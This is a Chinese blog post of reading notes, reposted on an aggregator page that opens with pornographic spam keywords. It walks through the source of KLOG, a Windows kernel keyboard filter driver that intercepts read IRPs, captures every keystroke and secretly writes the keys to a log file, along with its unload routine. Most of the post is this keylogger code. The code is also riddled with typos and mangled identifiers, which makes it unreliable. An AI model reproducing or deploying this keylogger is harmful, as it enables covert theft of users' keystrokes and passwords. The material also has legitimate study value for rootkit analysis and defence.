日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

读书笔记_键盘嗅探器(2)

發(fā)布時間:2023/12/29 编程问答 42 豆豆
生活随笔 收集整理的這篇文章主要介紹了 读书笔记_键盘嗅探器(2) 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.

為處理READ請求而調(diào)用的例程是DispatchRead。下面具體分析該函數(shù):

NTSTAUS DispatchRead ( IN PDEVICE_OBJECT pDeviceObject, IN PIRPpIrp)

{

當(dāng)一個READ請求到達(dá)鍵盤控制器時,就調(diào)用該函數(shù)。這時IRP中并沒有可用的數(shù)據(jù)。相反我們希望在捕獲了擊鍵動作之后查看IRP——當(dāng)IRP正在沿著設(shè)備鏈向上傳輸時。

關(guān)于IRP已經(jīng)完成的唯一通知方式是設(shè)置完成例程,如果沒有設(shè)置完成例程,則當(dāng)IRP沿著設(shè)備鏈上返回是會忽略我們的存在。

將IRP傳遞給鏈中次底層設(shè)備時,需要設(shè)置IRP堆棧指針(stack pointer).術(shù)語堆棧在此處容易產(chǎn)生誤解:每個設(shè)備只是在每個IRP中有一段私有的可用內(nèi)存。這些私有區(qū)域以指定順序排列。通過IoGetCurrentIrpStackLocation和IoGetNextIrpStackLocation調(diào)用來獲取這些私有區(qū)域的指針,在傳遞IRP之前,一個“當(dāng)前”指針必須指向低層驅(qū)動程序的私有區(qū)域,因此,在調(diào)用IoCallDriver之前要調(diào)用IoCopyCurrentIrpStackLocationToNext;

// Copy parameters down to next level in the stack

// for the driver below us

IoCopyCurrentIrpStackLocationToNext(pIrp);

// Note that the completion routine is named “OnReadCompleion”:

// Set the completion callback

IoSetCompletionRoutine(pIrp,

OnReadCompletion,

pDeviceObject,

TRUE,

TRUE,

TRUE);

將掛起的IRP數(shù)目記錄下來,以便等處理完成后再卸載驅(qū)動程序

// Track the # of pending IRPs

numPendingIrps++;

最后通過IoCallDriver將IRP傳遞給鏈中的次底層設(shè)備,記住指向低層次設(shè)備的指針存儲在Device_Extension中的pKeyboardDevice中。

// Pass the IRP on down to \the driver underneath us

Return IoCallDriver(

((PDEVICE_EXTENSION) pDeviceObject->DeviceExtension)

->pKeyboardDevice, pIrp);

}// end DispatchRead

現(xiàn)在可以看到,每個READIRP在處理之后可用于OnReadCompletion例程中。進(jìn)一步對比加以分析:

NSTATUS OnReadCompletion ( IN PDEVICE_OBJECT pDeviceObject,

INPRP pIrp, IN PVOID Context)

{

// Get the device extension– we’ll need to use it later

PDEVICE_EXTENSIONpKeyboardDeviceExtension =(PDEVICE_EXTENSION)pDeviceObject->DeviceExtension;

檢查IRP狀態(tài),它可以當(dāng)作返回碼或錯誤碼,該值為STATUS_SUCCESS表明IRP已成功完成并且應(yīng)該記錄了擊鍵數(shù)據(jù)。SystemBuffer成員指向KEYBOARD_INPUT_DATA結(jié)構(gòu)的數(shù)組。IoStatus.Information成員包含了該數(shù)組的長度:

If(pIrp->IoStatus.Status == STATUS_SUCCESS)

{

PKEYBOARD_INPUT_DATA keys =(PKEYBORAD_INPUT_DATA)pIrp->AssociatedIrp.SystemBuffer;

Int numKeys = pIrp->IoStatus.Information /sizeof(KEYBOARD_INPUT_DATA);

KEYBOARD_INPUT_DATA結(jié)構(gòu)定義如下:

Typedef struct _KEYBOARD_INPUT_DATA{

USHORT UnitId;

USHORT MakeCode;

USHORT Flags;

USHORT Reserved;

ULONG ExtraInformation;

} KEYBOARD_INPUT_DATA, *PKEYBOARD_INPUT_DATA;

然后示例程序循環(huán)遍歷所有的數(shù)組成員,從每個成員中獲取擊鍵動作:

For(int I = 0; I < numkeys; i++)

{

DbgPrint(“ScanCode: %x\n”,keys[i].MakeCode);

注意會收到兩個事件:鍵按下和鍵釋放。對于簡單的擊鍵監(jiān)視器來說,只需關(guān)注其中一個事件,KEY_MAKE是一個重要標(biāo)志。

If(keys[i].Flags == KEY_MAKE)

DbgPrint(“%s\n”, “Key Down”)l

上述完成例程在IRQL級別DISPATCH_LEVEL上執(zhí)行,這意味著它不允許文件操作,為了避開這個限制,示例程序通過一個共享鏈表將擊鍵動作傳遞給worker線程。對該鏈表的訪問必須采用關(guān)鍵段來同步。內(nèi)核實施以下規(guī)則:一次只能有一個線程執(zhí)行關(guān)鍵段。此處不能使用延遲過程調(diào)用(Deferred Procedure Call, DPC),因此DPC也運行在DISPATCH_LEVEL級別上。

驅(qū)動程序分配一些NonPagedPool內(nèi)存,并將掃描碼放入其中,然后將其置入鏈表中。因為運行在DISPATCH級別上,所以只能從NonPagedPool中分配內(nèi)存。

KEY_DATA* kData =(KEY_DATA*)ExAllocatePool(NonPagedPool, sizeof(KEY_DATA));

// Fill in kData structure with info from IRP

kData->KeyData = (char)keys[i].MakeCode;

kData->KeyFlags=(char)keys[i].Flgas;

// Add the scan code to the linked list

// queue so our worker thread

// can write it out to a file

DbgPrint(“Adding IRP to work queue…”);

ExInterlockedInsertTailList(&pKeyboardDeviceExtension->QueueListHead,&kData->ListEntry,

&pKeyboardDeviceExtension->lockQueue);

// The semaphore is incremented to indicate that some data needs tobe processed

// Increment the semaphore by 1 – no WaitForXXX after this call

KeReleaseSemaphore(&pKeyboradDeviceExtension->semQueue,

0,

1,

FALSE);

}

}

If(pIrp->PendingReturned)

IoMarkIrpPending(pIrp);

示例完成了對IRP的處理,將IRP計數(shù)遞減

numPendingIrps- -;

return pIrp->IoStatus.Status;

}

此時在鏈表中已保存了一個擊鍵動作,它用于worker線程,下面介紹worker線程的例程:

VOID ThreadKeyLogger ( IN PVOID pContext)

{

PDEVICE_EXTENSIONpKeyboardDeviceExtension = (PDEVICE_EXTENSION)pContext;

PDEVICE_OBJECTpKeyboardDeviceObject = pKeyboardDeviceExtension->pKeyboardDevice;

PLIST_ENTRY pListEntry;

KEY_DATA *kData; // custom data structure used to hold scancodes inthe linked list

KLOG進(jìn)入一個處理循環(huán)。代碼通過KeWaitForSingleObject等待信號量。若信號量遞增,則處理循環(huán)繼續(xù)運行

While(true)

{

// Wait for data to becomeavailable in the queue

KeWaitForSingleObject(

&pKeyboardDeviceExtension->semQueue,

Executive,

KernelMode,

FALSE,

NULL);

從鏈表中安全刪除了最高端項。注意關(guān)鍵段的用法:

pListEntry = ExInterlockedRemoveHeadList(

&pKeyboardDeviceExtension->QueueListHead,

&pKeyboardDeviceEntension->lockQueue);

內(nèi)核線程不能從外部終止,它們只能終止自身。KLOG檢查一個標(biāo)志以判斷是否應(yīng)該終止worker線程。該操作應(yīng)該只放生在卸載KLOG時。

If(pKeyboardDeviceExtension->bThreadTerminate == true)

{

PsTerminateSystemThread(STATUS_SUCCESS);

}

必須使用CONTAINING_RECORD宏來獲得指向pListEntry結(jié)構(gòu)中數(shù)據(jù)的指針:

kData = CONTANING_RECORD(pListEntry, KEY_DATA, ListEntry);

KLOG獲取掃描碼并將其轉(zhuǎn)換成鍵盤碼。這通過ConvertScanCodeToKeyCode工具函數(shù)完成,該函數(shù)只識別美國英語鍵盤布局,盡管它很容易替換為適用于其他鍵盤布局的代碼。

// Convert the scan code to a key code

Char keys[3] = {0};

ConvertScanCodeToKeyCode(pKeyboardDeviceExtension, kData, keys);

// Make sure the key has returned a valid code

// before writing it to the file

If (keys != 0)

{

若文件句柄是有效的,則使用ZwWriteFile將鍵盤盤碼寫入日志:

// Write the data out to a file

If(pKeyboardDeviceExtension->hLogFile != NULL)

{

IO_STATUS_BLOCK io_status;

NTSTATUS status =ZwWriteFile(

pKeyboardDeviceExtension->hLogFile,

NULL,

NULL,

NULL,

&io_status,

&keys,

Strlen(keys),

NULL,

NULL);

If(status != STATUS_SUCCESS)

DbgPrint(“Writing scancode to file…\n”);

Else

DbgPrint(“Scan code ‘%s’successfully written to file.\n”, keys);

}// end if

}// end if

}// end while

Return;

} // end ThreadLogKeyboard

以上是KLOG的主要操作。下面分析Unload例程

VOID Unload ( IN PDRIVER_OBJECT pDriverObject)

{

// Get the pointer to thedevice extension

PDEVICE_EXTENSIONpKeyboardDeviceExtension = (PDEVICE_EXTENSION)pDriverObject->DeviceObject->DeviceExtension;

DbgPrint(“Driver Unload Called… \n”);

驅(qū)動程序必須使用IoDetachDevice函數(shù)取下分層設(shè)備的鉤子:

// Detach from the device underneath that we’re hooked to.

IoDetachDevice(pKeyboardDeviceExtension->pKeyboardDevice);

DbgPrint(“Keyboard hook detached from device…\n”);

下面使用了一個定時器,KLOG進(jìn)入一個短循環(huán),直到所有IRP完成處理:

// Create a timer

KTIMER kTimer;

LARGE_INTEGER timeout;

Timeout.QuadPart = 1000000;

KeInitializeTimer(&kTimer);

在某個IRP正在等待擊鍵動作,則直到按下一個鍵后卸載才能完成:

While(numPendingIrps > 0)

{

// Set the timer

KeSetTimer(&kTimer, timeout,NULL);

KeWaitForSingleObject(

&kTimer,

Executive,

KernelMode,

False,

NULL);

}

此時KLOG指示worker線程應(yīng)該終止:

// Set our key logger worker thread to terminate

pKeyboardDeviceExtension->bThreadTerminate = true;

// Wake up the thread if its blocked & WaitForXXX after thiscall

KeReleaseSemaphore(

&pKeyboardDeviceExtension->semQueue,

0,

1,

TRUE);

KLOG使用線程指針調(diào)用KeWaitForSingleObject, 一直等候到該線程已終止:

// Wait until the worker thread terminates

DbgPrint(“Waiting for key logger thread to terminate…\n”);

KeWaitForSingleObject(pKeyboardDeviceExtension->pThreadObj,

Executive,

KernelMode,

False,NULL);

DbgPrint(“Key logger thread terminated\n”);

最后關(guān)閉日志文件:

// close the log file

ZwClose(pKeyboardDeviceExtension->hLogFile);

還執(zhí)行一些適當(dāng)?shù)某R?guī)清理動作:

// Delete the device

IoDeleteDevice(pDriverObject->DeviceObject);

DbgPrint(“Tagged IRPs dead … Terminating ...\n”);

Return;

}

鍵盤嗅探器結(jié)束。

總結(jié)

以上是生活随笔為你收集整理的读书笔记_键盘嗅探器(2)的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯,歡迎將生活随笔推薦給好友。